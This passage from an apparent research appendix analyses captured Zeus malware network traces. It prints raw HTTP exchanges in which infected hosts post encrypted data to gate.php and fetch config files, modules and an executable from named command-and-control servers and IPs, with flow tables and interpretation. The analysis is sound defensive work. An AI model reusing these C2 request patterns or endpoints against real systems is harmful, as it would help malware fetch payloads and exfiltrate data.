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1030 200.98.246.214 80 0.403900 60 54 1 1 

 

Second Connection: Source Port 1031, Destination IP 200.98.246.214 

     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  The 

request, a POST method, specified a resource named “file.php” along with its relative 

path.  The request included a message body with a length of 122 bytes and no readable 

text.  The Connection header specified Keep-Alive to explicitly maintain a persistent 

connection after the response was complete, suggesting that additional requests might 

follow.  The Cache-Control header specified No-Cache to prevent caching by all caching 

mechanisms in proxies or gateways along the request chain.  The response, successful 

status code 200 OK, included a message body with a length of 5376 bytes.  The filename 

“config.dll” was specified for this message body using the Content-Disposition header.    

 

 

POST /media/system/images/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:25 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 
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Keep-Alive: timeout=15 

Server: Apache 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 

Content-Length: 5376 

 

( non-readable content removed ) 

 

The second request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 131 bytes.  The 

message body contained no readable text.  The use of headers was the same as in the 

previous exchange.  The response, successful status code 200 OK, included a message 

body with a length of 221471 bytes.  The content of the response message body was 

identified as a named file (cit_ffcookie.module) using the Content-Disposition header.  

The Content-Disposition header was used to recommend storing rather than displaying of 

the file by the user agent.   

 

 

POST /media/system/images/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 131 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:32 GMT 
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Content-Type: application/octet-stream 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Cache-Control: public 

Content-Disposition: attachment; 

filename="%2e/files/cit_ffcookie.module" 

Content-Transfer-Encoding: binary 

Content-Length: 221471 

 

(binary content removed ) 

 

  For this connection, Argus created four flows, three for the HTTP requests and 

responses and a fourth with the packets to close the connection. 

Table A-46: Flows from Second Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1031 200.98.246.214 80 1.782831 764 6122 7 8 

1031 200.98.246.214 80 4.994077 4131 129455 63 94 

1031 200.98.246.214 80 1.510830 2226 101405 37 74 

1031 200.98.246.214 80 3.422332 120 108 2 2 

 

 

Third Connection: Source Port 1032, Destination IP 200.98.246.214 

     The HTTP content over this TCP connection consisted of four requests from the local 

client to the remote server with corresponding responses from the remote server.  Each 

request consisted of a POST method specifying the “gate.php” resource and contained 

message bodies with no readable text.  Each had a different content length and unique 

content.  The responses all had a content length of 64 bytes but each had unique content.  
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This could suggest that the content was padded and encrypted to result in an entity of that 

length.           

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 525 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:55 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 1213 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:56 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 538 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:57 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 
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Content-Length: 245 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:03:06 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

  For this connection, Argus created six flows, two for the HTTP requests and responses 

and four with packets to close the connection. 

Table A-47: Flows from Third Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1032 200.98.246.214 80 2.960269 3353 1127 7 8 

1032 200.98.246.214 80 0.613338 585 337 2 2 

1032 200.98.246.214 80 0.000000 60 54 1 1 

1032 200.98.246.214 80 4.606362 120 0 2 0 

1032 200.98.246.214 80 0.000000 60 0 1 0 

1032 200.98.246.214 80 0.000000 60 0 1 0 

 

 

Fourth Connection: Source Port 1033, Destination IP 173.194.40.240 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  
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This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.           

 

GET /webhp HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Location: 

http://www.google.se/webhp?gfe_rd=cr&ei=3nU0U9bWMeOO8Qe10IGAAQ 

Content-Length: 263 

Date: Thu, 27 Mar 2014 19:02:54 GMT 

Server: GFE/2.0 

Alternate-Protocol: 80:quic 

Connection: close 

 

( html content removed ) 

 

  For this connection, Argus created a single flow.   

Table A-48: Flows from Fourth Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1033 173.194.40.240 80 0.536148 467 824 5 5 
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Fifth Connection: Source Port 1034, Destination IP 173.194.40.255 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

This exchange was an example of the Google Webhp redirect and beyond the scope of 

this work.           

 

 

GET /webhp?gfe_rd=cr&ei=3nU0U9bWMeOO8Qe10IGAAQ HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Cache-Control: no-cache 

Host: www.google.se 

 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:55 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=3ecf050e7f29beba:FF=0:TM=1395946975:LM=1395946975:S=XB9tJLEKQ0q

d3a0s; expires=Sat, 26-Mar-2016 19:02:55 GMT; path=/; domain=.google.se 

Set-Cookie: NID=67=GdIT7qYHZBfLFIeTiWLEE-

kFnNSR3wtbp0fbq3Wc6yQKYb8emitdWgccWDhK9Hwc7kQUasOi0X_wBrZUdFqQVpvgOSrFO

dTa1c0VxUhqgqyBo2f503rFyGr0M-4WzbrS; expires=Fri, 26-Sep-2014 19:02:55 

GMT; path=/; domain=.google.se; HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 
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Connection: close 

 

( html/script content removed ) 

 

  For this connection, Argus created a single flow.   

Table A-49: Flows from Fifth Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1034 173.194.40.255 80 0.861316 1222 30625 17 25 

 

 

Sixth Connection: Source Port 1035, Destination IP 200.98.246.214 
 
     The HTTP content over this TCP connection consisted of two requests from the local 

client to the remote server with corresponding responses from the remote server.  These 

exchanges are similar to those previous specifying the “gate.php” resource.  The requests 

contain message bodies with different lengths and different content.  The responses also 

contain messages bodies with different lengths and different content.  Unlike the previous 

exchanges, the first response had a length of 132 bytes, not the more commonly observed 

64 bytes.  This suggests additional information was encrypted and passed.          

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 372 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 
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HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:56 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 132 

 

( non-readable content removed ) 

 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 538 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:57 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

  For this connection, Argus created six flows, one for the HTTP requests and responses 

and the others with only packets to close the connection. 
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Table A-50: Flows from Sixth Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1035 200.98.246.214 80 2.026271 1712 805 6 5 

1035 200.98.246.214 80 0.000000 60 54 1 1 

1035 200.98.246.214 80 0.000000 60 0 1 0 

1035 200.98.246.214 80 0.000000 60 0 1 0 

1035 200.98.246.214 80 0.000000 60 0 1 0 

1035 200.98.246.214 80 0.000000 60 0 1 0 

 

 

Seventh Connection: Source Port 1036, Destination IP 85.158.181.11 
 
     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a GET method, specified a resource named “file.exe” along with its relative 

path.  The request did not include a message body.  The response, successful status code 

200 OK, included a message body with a length of 790528 bytes.  The response also used 

the ETag header to uniquely identify the entity, which was further described as an 

Application/Octet-Stream using the Content-Type header.  In this case it appears to be a 

MS Windows executable file based on the MZ Header with human-readable text 

embedded in its first line stating “This program cannot be run in DOS mode.”  More 

human-readable text was embedded near the end of the entity, indicative of a string table 

in an MS Windows executable file.  Notable was the text “CorExeMain.mscoree.dll” for 

a dynamic linked library and the text “Internal Name BCoin.exe” and “Original Filename 

BCoin.exe” for the executable name.    
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GET /images/file.exe HTTP/1.1 

Accept: */* 

Connection: Close 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.two-of-us.at 

Cache-Control: no-cache 

 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:02:57 GMT 

Server: Apache 

Last-Modified: Mon, 24 Mar 2014 05:59:39 GMT 

ETag: "22cac4-c1000-4f553f0df32ab" 

Accept-Ranges: bytes 

Content-Length: 790528 

Vary: User-Agent 

Connection: close 

Content-Type: application/octet-stream 

 

MZ......................@..............................................

.!..L.!This program cannot be run in DOS mode.^M 

 

( non-readable content removed ) 

( among embedded text near the end: Internal name BCoin.exe ) 

 

     Neither the hostname nor the IP address of this server was listed in ZeuS Tracker. 

     For this connection, Argus created two flows.   

Table A-51: Flows from Seventh Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1036 85.158.181.11 80 4.999082 10439 426232 171 309 

1036 85.158.181.11 80 4.122364 11160 396765 186 287 
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Eighth Connection: Source Port 1040, Destination IP 200.98.246.214 
 
     The HTTP content over this TCP connection consisted of five requests from the local 

client to the remote server with corresponding responses from the remote server.  These 

exchanges were similar to those in previous connections requesting specifying the 

“gate.php” resource.  All requests and responses had message bodies with unique content.  

Two of the five requests had the same content length.  All of the responses again had a 

content length of 64 bytes.  This could suggest that the content was padded and encrypted 

to result in an entity of that length.                

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 517 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:05:58 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 
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POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 1205 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

(binary content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:05:59 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 530 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:05:59 GMT 

Content-Type: text/html 
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Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 530 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:05:59 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

 

POST /media/system/images/gate.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 
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Content-Length: 4152 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:06:00 GMT 

Content-Type: text/html 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Content-Length: 64 

 

( non-readable content removed ) 

 

 

  For this connection, Argus created three flows, one for the HTTP requests and responses 

and two with only packets to close the connection. 

Table A-52: Flows from Eighth Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1040 200.98.246.214 80 2.930238 8788 2017 13 16 

1040 200.98.246.214 80 0.000000 60 54 1 1 

1040 200.98.246.214 80 0.336374 60 54 1 1 

 

 

Ninth Connection: Source Port 1041, Destination IP 200.98.246.214 
 
     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server with a corresponding response from the remote server.  

The request, a POST method, specified a resource named “file.php” along with its 

relative path.  The request included a message body with a length of 122 bytes.  The 
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message body contained no readable text.  This request was very similar to the first 

request in the second connection in terms of header usage and content length.  However, 

the message body content of the request was different.  The response, successful status 

code 200 OK, included a message body with a length of 5376 bytes.  The filename 

“config.dll” was specified for this message body using the Content-Disposition header.     

The content of the response message body was the same as in the previous response with 

this named file.      

 

 

POST /media/system/images/file.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: saudeodontos.com.br 

Content-Length: 122 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Date: Thu, 27 Mar 2014 19:06:27 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Keep-Alive: timeout=15 

Server: Apache 

Cache-Control: public 

Content-Disposition: attachment; filename="%2e/files/config.dll" 

Content-Transfer-Encoding: binary 

Content-Length: 5376 

 

( non-readable content removed ) 
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     For this connection, Argus created two flows, one for the HTTP request and response 

and another with packets to close the connection. 

Table A-53: Flows from Ninth Connection in File 9ca 

sport daddr dport dur sbytes dbytes spkts dpkts 

1041 200.98.246.214 80 1.265840 704 6068 6 7 

1041 200.98.246.214 80 0.101395 60 54 1 1 

 

     The behavior observed in the connections of this sample file (9ca) was very similar to 

the behavior observed in the connections of the previous sample file (2d7), keeping in 

mind that this file (9ca) preceded the other (2d7) chronologically by one day.  The POST 

method was used with a resource named “file.php” to request files from a known Zeus 

command and control server.  Three of the same files were requested.  Two of the files 

were exactly the same size, and one (config.dll) had a length differing by only 16 bytes.  

These files were even located at the same relative paths on the respective servers.  In both 

sample files the POST method was also used with a resource named “gate.php” to send 

encrypted information from the client to the server.  The patterns of usage of this 

technique were very similar in content and timing.  In the previous file (2d7), sets of five 

“gate.php” requests were sent after receipt of the three previously mentioned files using 

the “file.php” requests.  In this file (9ca), one set of six “gate.php” requests was sent, 

followed three minutes later by one set of five.  Highlighting the difference in the number 

of requests was a GET request for a resource named “file.exe” after the set of six 

“gate.php” requests.  Moreover, one of the six requests had a longer response, 132 bytes 

instead of 64 bytes, suggesting that this extra request included instructions in its response 

to retrieve this file from a different server.  Also interesting was the internal name, 

BCoin.exe, of the supplied Windows executable file.  Very little information could be 
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found on the Internet about this particular file. However, its name suggests potential use 

with BitCoin electronic currency.  Mohaisen and Alrawi (2013) reported that bitcoin 

mining was among the features of new Zeus variants. 
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Sample File 054 collected on 28 Mar 2014 with total time 5 minutes 21 seconds 

     This network trace sample file consisted of seven successful TCP connections as 

summarized in the following table.  A column is included in the table to indicate whether 

the connection was preceded by a DNS query when the HTTP Host Header field 

specified a domain name as opposed to an IP address.  In this case an IP address was 

specified for the suspicious server. 

Table A-54: Summary of Connections in File 054 

Source Port Destination IP HTTP Host Header DNS? 

1029 92.63.98.3 92.63.98.3 n/a 

1031 173.194.70.106 www.google.com Yes 

1032 173.194.70.94 www.google.de Yes 

1036 92.63.98.3 92.63.98.3 n/a 

1037 92.63.98.3 92.63.98.3 n/a 

1038 173.194.70.106 www.google.com Yes 

1039 173.194.70.94 www.google.de Yes 

 

First Connection: Source Port 1029, Destination IP 92.63.98.3 
 
     The HTTP content over this TCP connection consisted of five requests from the local 

client to the remote server with five corresponding responses from the remote server.       

The first request, a GET method, specified a resource named “config.bin” along with its 

relative path.  The request did not include a message body, only headers.  The first 

request was 167 bytes before the packet overhead.  The first response, with Successful 

code 200 OK, did include a message body with no readable text. The first response was 
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36329 bytes before packet overhead.  The request’s Accept header specified “*/*” to 

allow any media type.  The request’s Host header specified an explicit IP address rather 

than a domain name.  The request’s Cache-Control header specified No-Cache to prevent 

caching of the request.  The response’s Server header specified nginx as the software 

handling the request.  The response’s Content-Type and Content-Length headers 

specified that the resource was a binary stream (application/octet-stream) of 36080 bytes.  

The response’s Date and Last-Modified headers specified the date-time of the message 

and of the requested resource.  The response’s Connection header specified “keep-alive” 

for a persistent connection.  The response’s ETag header specified a current value for the 

requested entity.  The response’s Accept-Ranges header specified bytes to indicate that it 

accepts byte-range requests.   

 

GET /hl82ltwxk7/modules/config.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:28:06 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 36080 

Last-Modified: Wed, 26 Mar 2014 11:39:17 GMT 

ETag: "5332bc65-8cf0" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 
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     The second request, a GET method, specified a resource named “mod1.bin” along 

with its relative path.  The request did not include a message body, only headers.  The 

second request was 170 bytes before the packet overhead.  The second response, with 

Successful code 200 OK, included a message body with no readable text.  The second 

response was 9464 bytes before packet overhead.  The same request headers and values 

were used as in the first request.  The same response headers were also used as in the first 

response, with different values for Date, Content-Length, Last-Modified, and ETag. 

 

GET /hl82ltwxk7/modules/mod1.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:28:12 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 9216 

Last-Modified: Tue, 04 Mar 2014 09:33:03 GMT 

ETag: "53159dcf-2400" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

     The third request, a GET method, specified a resource named “mod2.bin” along with 

its relative path.  The request did not include a message body, only headers.  The third 

request was 170 bytes before the packet overhead.  The third response, with Successful 

code 200 OK, included a message body with no readable text.  The third response was 



266 

 

8952 bytes before packet overhead.  The same request headers and values were used as in 

the first two requests.  The same response headers were also used as in the first two 

responses, with different values for Date, Content-Length, Last-Modified, and Etag.  

 

GET /hl82ltwxk7/modules/mod2.bin HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:28:13 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 8704 

Last-Modified: Tue, 04 Mar 2014 09:33:01 GMT 

ETag: "53159dcd-2200" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

     The fourth request, a GET method, specified a resource named “mod3.bin” along with 

its relative path.  The request did not include a message body, only headers.  The fourth 

request was 170 bytes before the packet overhead.  The fourth response, with Successful 

code 200 OK, did include a message body with no readable text.  The fourth response 

was 8440 bytes before packet overhead.  The same request headers and values were used 

as in the first three requests.  The same response headers were also used as in the first 

three responses, with different values for Content-Length, Last-Modified, and Etag. 

 

GET /hl82ltwxk7/modules/mod3.bin HTTP/1.1 
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Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1) 

Host: 92.63.98.3 

Cache-Control: no-cache 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:28:13 GMT 

Content-Type: application/octet-stream 

Connection: keep-alive 

Content-Length: 8192 

Last-Modified: Tue, 04 Mar 2014 09:33:02 GMT 

ETag: "53159dce-2000" 

Accept-Ranges: bytes 

 

( non-readable content removed ) 

 

     The fifth request, a POST method, specified a resource named “cde.php” along with 

its relative path.  The request included a message body with no readable text.  The fifth 

request was 506 bytes before the packet overhead.  The fifth response, with Successful 

code 200 OK, included a message body with no readable text.  The fifth response was 

244 bytes before packet overhead.  The resource name suggests that the content is PHP 

script but it appears as a binary content in the message body.  The request’s Content-

Length header is used to specify its length.  The response also differs significantly from 

the previous responses.  This time the response’s Content-Type header specifies 

Text/Html even though the message body is binary. The response uses the Transfer-

Encoding header and specifies Chunked for the transformation applied to the message 

body.  The response’s Connection header specifies Close to terminate the persistent 

connection.  The response also includes an X-Powered-By header specifying PHP/5.4.25 

which suggests that version of PHP is being used on the remote server.   
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POST /hl82ltwxk7/cde.php HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 6.2) 

Host: 92.63.98.3 

Content-Length: 304 

Connection: Keep-Alive 

Cache-Control: no-cache 

 

( non-readable content removed ) 

 

HTTP/1.1 200 OK 

Server: nginx 

Date: Fri, 28 Mar 2014 01:28:37 GMT 

Content-Type: text/html 

Transfer-Encoding: chunked 

Connection: close 

X-Powered-By: PHP/5.4.25 

 

( non-readable content removed ) 

 

     The features of the fifth request-response series seem slightly unusual for the 

following reasons: the message body of the POST request was not in the expected text 

format, the message body of the response was not in the expected text format, and the 

message body of the response was chunked.  Chunked encoding is often used to return a 

dynamically-generated entity.  A zero-sized chunk signals the end of the message body.  

Chunked encoding is also generally used with persistent HTTP connections. In this 

response the connection was closed with the Connection header.   

     A whois query reports that IP address 92.63.98.3 is part of a block assigned to a 

provider in Irkutsk, Russia.  A search of the Zeus Tracker web site produced no results 

that matched this IP address. 
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     For this connection, Argus created one flow for the first GET request and its response, 

a second flow for the next three GET requests and their responses, and a third flow for 

the POST request and its response.   

Table A-55: Flows from First Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1029 92.63.98.3 80 0.797518 1363 38011 20 31 

1029 92.63.98.3 80 1.001453 1452 28422 16 29 

1029 92.63.98.3 80 0.373748 680 460 3 4 

 

     The differences in byte count, 1196 from the 20 source packets and 1682 from the 31 

destination packets in the first flow, 942 from the 16 source packets and 1566 from the 29 

destination packets in the second flow, and 174 from the three source packets and 216 

from the four destination packets in the third flow, represent the packet overhead from IP 

and TCP headers.  Average overhead from this remote server is 54.3, 54.0, and 54.0 bytes 

per packet, respectively, for the three flows in this connection. 

 

Second Connection: Source Port 1031, Destination IP 173.194.70.106 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server and a corresponding response from the remote server.       

The request, a GET method, specified a resource named “webhp” and did not include a 

message body, only headers.  The request was 152 bytes before the packet overhead.  The 

response, with Redirection code 302 Found, did include a message body in the form of 

HTML. The response was 1125 bytes before packet overhead.  This exchange was an 

example of the Google Webhp redirect and beyond the scope of this work.      
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GET /webhp HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.com 

Cache-Control: no-cache 

 

 

HTTP/1.1 302 Found 

Location: 

http://www.google.de/webhp?gfe_rd=ctrl&ei=RNA0U8ecKYuV_AaG2YDoAw&gws_rd

=cr 

Cache-Control: private 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=55285ca6ac9ee775:FF=0:TM=1395970116:LM=1395970116:S=CoTFyt1zG5X

oSVIk; expires=Sun, 27-Mar-2016 01:28:36 GMT; path=/; 

domain=.google.com 

Set-Cookie: 

NID=67=RcwnxF43KollBCOM287KAnUCqiko0zDY4itMzoNUEd0oRBFMLpiDUVvYI8a_gmv0

j-ORrHi2X2NuBWObMG-6rs4t53f6M90U_jyTgARunodE-xE-Nf5GbL4ZEQoxLGKR; 

expires=Sat, 27-Sep-2014 01:28:36 GMT; path=/; domain=.google.com; 

HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Date: Fri, 28 Mar 2014 01:28:36 GMT 

Server: gws 

Content-Length: 279 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

Alternate-Protocol: 80:quic 

 

( html content removed ) 
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     A whois query reports that IP address 173.194.70.106 is part of a block assigned to 

Google, Inc. in Mountain View, California.  This is consistent with the web site specified 

by the Host header.  A search of the Zeus Tracker web site produced no results that 

matched this IP address. 

     For this connection, Argus created one flow for the GET request and its response, and 

a second flow for the single reset (RST) packet sent three minutes after the response. 

Table A-56: Flows from Second Connection in File 054 

sport daddr dport dur sbytes dbytes spkts dpkts 

1031 173.194.70.106 80 0.445003 388 1295 4 3 

1031 173.194.70.106 80 0 60 0 1 0 

 

The first flow includes the request and response messages.  The differences in byte count, 

236 from the four source packets and 170 from the three destination packets, represent 

the packet overhead from IP and TCP headers. Average overhead from this remote server 

is 56.7 bytes per packet in this connection. 

 

Third Connection: Source Port 1032, Destination IP 173.194.70.94 

     The HTTP content over this TCP connection consisted of a single request from the 

local client to the remote server and a corresponding response from the remote server.  

The request, a GET method, did not include a message body, only headers.  The request 

was for the resource provided in the Location header of the response in the previous 

connection.  A corresponding DNS query occurred between the two connections based on 

the domain name in that Location header.  The DNS query of “www.google.de” returned 
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the IP address 173.194.70.94 used in this connection.  This exchange was an example of 

the Google Webhp redirect and beyond the scope of this work.        

 

GET /webhp?gfe_rd=ctrl&ei=RNA0U8ecKYuV_AaG2YDoAw&gws_rd=cr HTTP/1.1 

Accept: */* 

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) 

Host: www.google.de 

Cache-Control: no-cache 

Connection: Keep-Alive 

 

 

HTTP/1.1 200 OK 

Date: Fri, 28 Mar 2014 01:28:37 GMT 

Expires: -1 

Cache-Control: private, max-age=0 

Content-Type: text/html; charset=UTF-8 

Set-Cookie: 

PREF=ID=faf0ff2cee6827d3:FF=0:TM=1395970117:LM=1395970117:S=2KxkWYcMGR0

8IQmT; expires=Sun, 27-Mar-2016 01:28:37 GMT; path=/; domain=.google.de 

Set-Cookie: NID=67=n06nDhFEr7EgebUGqZD0d2WoNYfcv1pAZwVv8JL7Nj5u2v-

gkpLbCyBUhdPc4s2wQHXacBeAdV7XKaOhh7aak2Mv8H-

x8k9Yj5NieWb5slutiNBJAnt1nG6vLtnFuzZL; expires=Sat, 27-Sep-2014 

01:28:37 GMT; path=/; domain=.google.de; HttpOnly 

P3P: CP="This is not a P3P policy! See 

http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=15165

7 for more info." 

Server: gws 

X-XSS-Protection: 1; mode=block 

X-Frame-Options: SAMEORIGIN 

